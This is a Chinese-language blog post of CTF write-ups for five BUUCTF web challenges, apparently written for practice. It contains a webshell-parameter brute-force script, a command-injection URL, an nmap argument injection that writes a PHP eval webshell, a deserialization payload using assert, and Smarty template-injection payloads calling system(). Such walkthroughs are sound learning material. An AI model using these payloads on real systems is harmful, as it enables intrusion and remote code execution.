BUUCTF-WEB(51-55)

Muneyoshi發表於2024-05-30

[強網杯 2019]高明的駭客

參考:[強網杯 2019]高明的駭客(考察程式碼編寫能力)-CSDN部落格

網站原始碼一下,一堆木馬,我們需要找到能用的

就是跑指令碼

import os
import requests
import re
import threading
import time
print('開始時間:  '+  time.asctime( time.localtime(time.time()) ))
s1 = threading.Semaphore(10)
filePath = r'D:/EdgeDownload/www/src'
os.chdir(filePath) # 切換到工作目錄
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False
def get_content(file):
    s1.acquire()
    print('trying  '+file+'  '+time.asctime(time.localtime(time.time())))
    with open(file,encoding='utf-8') as f:
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) # 匹配GET的引數
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]',f.read())) # 匹配POST的引數
        params = {} # 所有的$_GET
        data = {} # 所有的$_POST
        for m in gets:
            params[m] = "echo 'xxxx';"
        for n in posts:
            data[n] = "echo 'xxxx';"
        url = 'http://e724c6e7-7d75-4786-a519-0c8ef9d3cccd.node5.buuoj.cn:81/'+file
        req = session.post(url,data=data,params=params)
        req.close()
        req.encoding = 'utf-8'
        content = req.text
        if 'xxxx' in content:
            flag = 0
            for a in gets:# 傳送GET請求驗證
                req = session.get(url+'?%s='%a+"echo 'xxxx';")
                content = req.text
                req.close()
                if 'xxxx' in content:
                    flag = 1
                    break
            if flag != 1:
                for b in posts: # 如果不是GET就傳送POST
                    req = session.post(url,data={b:"echo 'xxxx';"})
                    content = req.text
                    req.close()
                    if 'xxxx' in content:
                        break
            if flag == 1:
                param = a
            else:
                param = b
            print('找到了利用檔案:'+file+'以及利用的引數:'+param)
            print('結束時間'+time.asctime(time.localtime(time.time())))
    s1.release()
for i in files:
    t = threading.Thread(target=get_content,args=(i,))
    t.start()

然後就在 xk0SzyKwfzw.php找到Efa5BVG

/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

image-20240529153011535

[ASIS 2019]Unicorn shop

參考:

[BUUCTF ASIS 2019] Unicorn shop_[asis 2019]unicorn shop-CSDN部落格

我想買個最貴的馬不讓買

id=4&price=1337

image-20240529154322853

推測就是需要Unicode碼大於1337

我們去compart搜尋比1337大的Unicode - Compart

搜尋 two thousand

image-20240529154857025

用這一個買馬就行了

image-20240529154946035

得到flag

image-20240529154956178

[網鼎杯 2020 朱雀組]Nmap

參考:

[BUUCTF 網鼎杯 2020 朱雀組] Nmap_[網鼎杯 2020 朱雀組]nmap-CSDN部落格

[網鼎杯 2020 朱雀組]Nmap 1 - AikNr - 部落格園 (cnblogs.com)

考的是namp一個引數的使用

-oG 寫入檔案,這樣我們可以給一句話木馬寫入

127.0.0.1 | ' <?php eval($_POST['cmd']);?> -oG test.php'

image-20240529162325572

換一下字尾試試

127.0.0.1 | ' <?php eval($_POST['cmd']);?> -oG test.phtml'

還是不行

127.0.0.1 | ' <=php eval($_POST['cmd']);?> -oG test.phtml'

最後這樣(注意記得空格,單引號前後)

127.0.0.1 | ' <?= @eval($_POST["cmd"]);?> -oG test.phtml '

image-20240529162659287

可以被解析

image-20240529163529267

連線一下拿到flag

image-20240529163554136

[NPUCTF2020]ReadlezPHP

參考:

【php】assert函式的用法_php assert(-CSDN部落格

我們在原始碼處找到

image-20240530093214000

點進來是個原始碼

image-20240530093230350

很明顯我們需要構造反序列化,就在echo $b($a)處可以觸發

那這裡我們去使用assert,因為eval的條件很嚴格,eval()內的php指令需要嚴格按照雙引號包裹,然後裡面必須有;

如圖所示

image-20240530094445160

第一條指令可以執行,第二條卻不行

image-20240530093902172

O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}

這道題也是很幸運,flag就在phpinfo

image-20240530094547762

[CISCN2019 華東南賽區]Web11

開啟後,發現會顯示你的ip

image-20240530102625853

那他怎麼檢測出來的,那絕對是XFF,後面又看到他說是基於Smarty搭建

image-20240530102700558

那我們就想到是在XFF這裡模組注入,我們試試吧

image-20240530102734080

返回了image-20240530102742415

所以這讓我們模組注入Smarty模板注入&CVE-2017-1000480 - 先知社群 (aliyun.com)

這邊我們可以用{if}{/if}

我們先試試phpinfo成功執行

{if phpinfo()}{/if}

image-20240530103410037

接下來我們獲取目錄

{if system('ls /')}{/if}

image-20240530103518292

獲取flag

{if system('cat /flag')}{/if}

image-20240530103546661